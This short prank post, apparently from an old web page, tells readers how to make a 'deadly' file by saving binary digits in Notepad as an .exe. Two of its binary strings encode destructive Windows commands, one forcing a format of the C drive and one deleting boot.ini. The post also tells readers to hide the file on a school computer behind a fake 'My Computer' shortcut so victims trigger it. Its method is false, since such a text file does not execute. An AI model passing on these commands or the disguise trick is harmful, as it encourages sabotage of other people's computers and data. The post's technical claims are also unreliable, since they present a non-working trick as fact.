Deadly code that format’s your enemy's computer!!!

Paste the below code in a  notepad file:

01001011000111110010010101010101010000011111100000

Save the file as 'whateveryouwish.exe'
When you open it, the hard disk formats!!!

You can keep this file in your school's computer in a far-off folder. At first rename it and send a shortcut to desktop. Now hide the original file. 
                                   
Change the icon of the shortcut to that of My computer and rename it as 'My Computer' and delete the original 'My computer'.

When someone tries to open it....BOOOM!!!

If you are unable to format C drive when the victim's PC is running, then you can use the following line of code:

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

It's extremely cool!!!

How about making the computer not to boot in the first place??
Then use this code:

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

You will be astounded at the result when someone tries to restart the PC!